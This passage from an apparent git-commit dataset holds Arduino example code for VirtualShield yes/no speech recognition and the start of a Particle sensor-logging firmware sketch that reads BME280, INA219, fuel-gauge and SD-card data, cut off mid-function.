COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n THE SOFTWARE.\n*\/\n\n\/\/ Include the ArduinoJson library, a dependency.\n#include <ArduinoJson.h>\n\n\/\/ VirtualShield is the core of all shields.\n#include <VirtualShield.h>\n\n\/\/ Text is to display text onscreen.\n#include <Text.h>\n\n\/\/ Recognition is the speech recognition shield.\n#include <Recognition.h>\n\n\/\/ Instantiate the shields.\nVirtualShield shield;\nText screen = Text(shield);\nRecognition recognition = Recognition(shield);\n\nint buttonId, rectangleId;\n\nvoid recognitionEvent(ShieldEvent* shieldEvent)\n{\n \/\/ the shieldEvent->resultId has the index of the recognized word. for \"yes,no\" then yes=1 and no=2.\n \/\/ for groupings such as \"yes=yes,yeah,sure,ok;no=no,no way,nah,nope\" then any yes word (sure) =1 and any no word (no way) =2\n \n if (shieldEvent->resultId < 0) {\n screen.printAt(1, \"Unknown error-please refresh\");\n return;\n }\n \n screen.printAt(1, \"Heard:\");\n if (shieldEvent->resultId == 1) {\n screen.printAt(2, \"yes\");\n } else if (shieldEvent->resultId == 2) {\n screen.printAt(2, \"no\");\n } else if (shieldEvent->resultId == 0) {\n screen.printAt(2, \"(nothing)\");\n }\n \n screen.printAt(4, \"refresh to try again\");\n}\n\n\/\/ Callback for startup, reconnection, and when the pushing 'Refresh' button\nvoid refresh(ShieldEvent* shieldEvent)\n{\n \/\/ clear the screen to a color\n screen.clear();\n\n screen.printAt(1, \"Say Yes or No\");\n\n \/\/ for single words, separate with commas: \"yes,no\" \n \/\/ for groupings use semicolons: \"yes=yes,yeah,sure,ok;no=no,no way,nah,nope\" \n \/\/ see the recognitionEvent for resultId details\n recognition.listenFor(\"yes,no\");\n}\n\nvoid setup()\n{\n \/\/ Call 'refresh' on startup, on reconnection, and when the pushing 'Refresh' button\n shield.setOnRefresh(refresh);\n\n \/\/ When recognition has a result, call the recognitionEvent method\n recognition.setOnEvent(recognitionEvent);\n\n \/\/ Begin the shield communication\n shield.begin();\n}\n\nvoid loop()\n{\n \/\/ checkSensors() checks for return events and handles them (calling callbacks). This is VirtualShield's single loop() method.\n shield.checkSensors();\n}\t\t \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'VirtualShield\/examples\/Basic-Speech-To-Text\/Basic-Speech-To-Text.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3fee69b54a556ab280efca35323c860f6215b960","subject":"Create OAS_0-2.ino","message":"Create OAS_0-2.ino","repos":"scottkelleher\/OAS_0-2","old_file":"firmware\/examples\/OAS_0-2.ino","new_file":"firmware\/examples\/OAS_0-2.ino","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/Code Function: Alfa 0.2 (7-26-16, JS)\n\/\/ - Test Over the Air Cominucation for data colectiona and control \n\/\/ - Test the Sharp, solar panals, BME280, and sd logging, to get first feild data\n\/\/ - Test Google script alerts and logging\n\/\/\n\/\/\n\/\/\n\/\/To Do\n\/\/*Add multiple file names AOSXXX.txt\n\/\/*Add upload to Google Drive\/publish variables \n\/\/\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/INA219\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include \"adafruit-ina219\/adafruit-ina219.h\"\nAdafruit_INA219 ina219;\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/INA219\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/Fuel gauge\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include \"SparkFunMAX17043\/SparkFunMAX17043.h\"\ndouble battery_volts = 0; \/\/ Variable to keep track of LiPo voltage\n\/\/double soc = 0; \/\/ Variable to keep track of LiPo state-of-charge (SOC)\n\/\/bool alert; \/\/ Variable to keep track of whether alert has been triggered\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/fuel gauge\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/SD\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include \"SdFat\/SdFat.h\"\n#define SPI_CONFIGURATION 0\n\/\/------------------------------------------------------------------------------\n\/\/ Setup SPI configuration.\n#if SPI_CONFIGURATION == 0\n\/\/ Primary SPI with DMA\n\/\/ SCK => A3, MISO => A4, MOSI => A5, SS => A2 (default)\nSdFat sd;\nconst uint8_t chipSelect = SS;\n#elif SPI_CONFIGURATION == 1\n\/\/ Secondary SPI with DMA\n\/\/ SCK => D4, MISO => D3, MOSI => D2, SS => D1\nSdFat sd(1);\nconst uint8_t chipSelect = D1;\n#elif SPI_CONFIGURATION == 2\n\/\/ Primary SPI with Arduino SPI library style byte I\/O.\n\/\/ SCK => A3, MISO => A4, MOSI => A5, SS => A2 (default)\nSdFatLibSpi sd;\nconst uint8_t chipSelect = SS;\n#elif SPI_CONFIGURATION == 3\n\/\/ Software SPI. Use any digital pins.\n\/\/ MISO => D5, MOSI => D6, SCK => D7, SS => D0\nSdFatSoftSpi<D5, D6, D7> sd;\nconst uint8_t chipSelect = D0;\n#endif \/\/ SPI_CONFIGURATION\n\nFile myFile;\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/SD\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/BME\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include \"SparkFunBME280\/SparkFunBME280.h\"\n\nBME280 mySensor;\n\nunsigned int sampleNumber = 0; \/\/For counting number of CSV rows\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/BME\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ads\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include \"Adafruit_ADS1X15\/Adafruit_ADS1X15.h\"\n\nAdafruit_ADS1115 ads; \/* Use this for the 16-bit version *\/\ndouble multiplier;\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ads\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/Variabels\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nunsigned long previousMillis = 0; \/\/ will store last time LED was updated\n\nconst int nAverage = 30; \/\/How many readings should be averaged 0<X<512\nfloat sharp_readings[nAverage]; \/\/\nint reading_index=0; \nfloat sharp_a=0;\n\nfloat shuntvoltage = 0;\nfloat busvoltage = 0;\nfloat current_mA = 0;\nfloat loadvoltage = 0;\n\n\nfloat batter_voltage = 0; \/\/Published\nfloat tempC = 0; \/\/Published\nfloat GPS_lon = 123.456; \/\/Published (WIP)\nfloat GPS_lat = 123.456; \/\/Published (WIP)\nfloat sharp_reading = 0; \n\/\/Published\n\n\nFuelGauge fuel;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/Particle Functions\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/Update these when you want to publish new data\nchar sharp_str[64]; \nchar battery_str[64]; \nchar GPS_str[64];\nchar temp_str[64];\n\n\nunsigned long sharp_timer_publish = micros();\nunsigned long five_minute_publish = micros();\n\n\/\/Controle variable of what to publish and how offent to publish \nint print_controle = 0x001D;\n\/* 0000 0000 0000 0000 = print nothing \n XXXX XXXX XXXX XX01 = print the sharp every five minutes\n XXXX XXXX XXXX XX10 = print the sharp every two minutes \n XXXX XXXX XXXX XX11 = print the sharp every minute\n XXXX XXXX XXXX X1XX = print the battery voltage every four minutes\n XXXX XXXX XXXX 1XXX = print the GPS location every four minutes\n XXXX XXXX XXX1 XxXX = print the temerature every four minutes\n XXXX XXXX XX1X xxXX = print Something else\n XXXX XXXX X1XX XxXX = print Something else...ECT\n*\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/Particle Functions\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/Variables\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/SYSTEM_MODE(AUTOMATIC);\nSYSTEM_MODE(MANUAL);\n\/\/Particle.connect(); \/\/This will conect to the cloud\n\/\/Particle.process(); \/\/This must then be called at least every 20s to maintain the conection\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid setup() {\n Serial.begin(115200);\n \/\/while (!Serial) { \/\/wait for the Seial com port to be opened before running anything\n \/\/ SysCall::yield();\n \/\/}\n \/\/RGB.control(true);\n \/\/RGB.color(0,0,0);\n Time.zone(-6);\n Time.format(Time.now(), \"%H:%M:%S\");\n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/Particle Functions\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/Variables 12 char MAX\n Particle.variable(\"sharp\", sharp_str, STRING); \/\/Both the sharp and battery in one\n \/\/Particle.variable(\"sharp\", sharp_str, STRING); \/\/Sharp reading\n Particle.variable(\"battery\", battery_str, STRING); \/\/Battery Voltage\n \/\/Particle.variable(\"GPS\", GPS_str, STRING); \/\/GPS location\n Particle.variable(\"temp\", temp_str, STRING); \/\/Tempiture (Inside or Outside, IDK)\n \n \/\/Particle.function(\"Pumps\", Pump); \/\/turn the pumps on and off\n Particle.function(\"Prints\", print); \/\/Determin what to print and print it\n \n print(\"command\");\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/Particle Functions\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/GPIO\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n pinMode(D6, OUTPUT);\n digitalWrite(D6, HIGH);\n \/\/pinMode(D5, OUTPUT);\n \/\/digitalWrite(D5, HIGH);\n \/\/pinMode(D6, OUTPUT);\n \/\/digitalWrite(D6, HIGH);\n pinMode(D4, OUTPUT);\n digitalWrite(D4, LOW);\n \n pinMode(D7, OUTPUT); \/\/Debug for pumps only\n digitalWrite(D7,LOW);\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/GPIO\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/SD\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Initialize SdFat or print a detailed error message and halt\n \/\/ Use half speed like the native library.\n \/\/ Change to SPI_FULL_SPEED for more performance.\n if (!sd.begin(chipSelect, SPI_HALF_SPEED)) {\n sd.initErrorHalt();\n }\n if (!myFile.open(\"AOS_Test.txt\", O_RDWR | O_CREAT | O_AT_END)) {\n sd.errorHalt(\"opening test.txt for write failed\");\n }\n \n myFile.close();\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/SD\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/BME\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/***Driver settings********************************\/\/\n\t\/\/commInterface can be I2C_MODE or SPI_MODE\n\t\/\/specify chipSelectPin using arduino pin names\n\t\/\/specify I2C address. Can be 0x77(default) or 0x76\n\n\t\/\/For I2C, enable the following and disable the SPI section\n\tmySensor.settings.commInterface = I2C_MODE;\n\tmySensor.settings.I2CAddress = 0x77;\n\n\t\/\/For SPI enable the following and dissable the I2C section0\n\t\/\/mySensor.settings.commInterface = SPI_MODE;\n\t\/\/mySensor.settings.chipSelectPin = 10;\n\n\n\t\/\/***Operation settings*****************************\/\/\n\tmySensor.settings.runMode = 3; \/\/ 3, Normal mode\n\tmySensor.settings.tStandby = 0; \/\/ 0, 0.5ms\n\tmySensor.settings.filter = 0; \/\/ 0, filter off\n\t\/\/tempOverSample can be:\n\t\/\/ 0, skipped\n\t\/\/ 1 through 5, oversampling *1, *2, *4, *8, *16 respectively\n\tmySensor.settings.tempOverSample = 1;\n\t\/\/pressOverSample can be:\n\t\/\/ 0, skipped\n\t\/\/ 1 through 5, oversampling *1, *2, *4, *8, *16 respectively\n mySensor.settings.pressOverSample = 1;\n\t\/\/humidOverSample can be:\n\t\/\/ 0, skipped\n\t\/\/ 1 through 5, oversampling *1, *2, *4, *8, *16 respectively\n\tmySensor.settings.humidOverSample = 1;\n\t\n\tmySensor.begin();\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/BME\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ads\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ads.setGain(GAIN_TWOTHIRDS); \/\/ 2\/3x gain +\/- 6.144V 1 bit = 3mV 0.1875mV (DEFAULT)\n \/\/multiplier = 0.1875F;\n \/\/ads.setGain(GAIN_ONE); \/\/ 1x gain +\/- 4.096V 1 bit = 2mV 0.125mV\n \/\/multiplier = 0.125F;\n \/\/ads.setGain(GAIN_TWO); \/\/ 2x gain +\/- 2.048V 1 bit = 1mV 0.0625mV\n \/\/multiplier = 0.0625F;\n \/\/ads.setGain(GAIN_FOUR); \/\/ 4x gain +\/- 1.024V 1 bit = 0.5mV 0.03125mV\n \/\/multiplier = 0.03125F;\n \/\/ads.setGain(GAIN_EIGHT); \/\/ 8x gain +\/- 0.512V 1 bit = 0.25mV 0.015625mV\n \/\/multiplier = 0.015625F;\n \/\/ads.setGain(GAIN_SIXTEEN); \/\/ 16x gain +\/- 0.256V 1 bit = 0.125mV 0.0078125mV \n \/\/multiplier = 0.0078125F;\n \/\/ads.begin();\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ads\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/fuel gauge\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n lipo.begin(); \/\/ Initialize the MAX17043 LiPo fuel gauge\n\n\t\/\/ Quick start restarts the MAX17043 in hopes of getting a more accurate\n\t\/\/ guess for the SOC.\n\t\/\/lipo.quickStart();\n\n\t\/\/ We can set an interrupt to alert when the myFile.print(\",\");batter SoC gets too low.\n\t\/\/ We can alert at anywhere between 1% - 32%:\n \/\/lipo.setThreshold(20); \/\/ Set alert threshold to 20%.\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/ fuel gauge \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ads115\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/uint32_t currentFrequency;\n ina219.begin();\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ads115\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n \n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\nvoid log_data() {\n \/\/double sharp0, sharp1, sharp2, sharp3;\n \/\/sharp0 = read_sharp(0);\n double particle_analogsignal;\n particle_analogsignal=voltageRaw();\n\n float shuntvoltage = 0;\n float busvoltage = 0;\n float current_mA = 0;\n float loadvoltage = 0;\n\n float sharp_a = read_sharp_averaged();\n \n \n shuntvoltage = ina219.getShuntVoltage_mV();\n busvoltage = ina219.getBusVoltage_V();\n current_mA = ina219.getCurrent_mA();\n loadvoltage = busvoltage + (shuntvoltage \/ 1000);\n \n\n \n \/\/sharp1 = read_sharp(1);\n \/\/sharp2 = read_sharp(2);\n \/\/sharp3 = read_sharp(3);.\n \n float tempC, press, altM, RH;\n tempC = mySensor.readTempC();\n press = mySensor.readFloatPressure();\n altM = mySensor.readFloatAltitudeMeters();\n RH = mySensor.readFloatHumidity();\n \n if (!myFile.open(\"AOS_Test.txt\", O_RDWR | O_AT_END)) {\n sd.errorHalt(\"opening 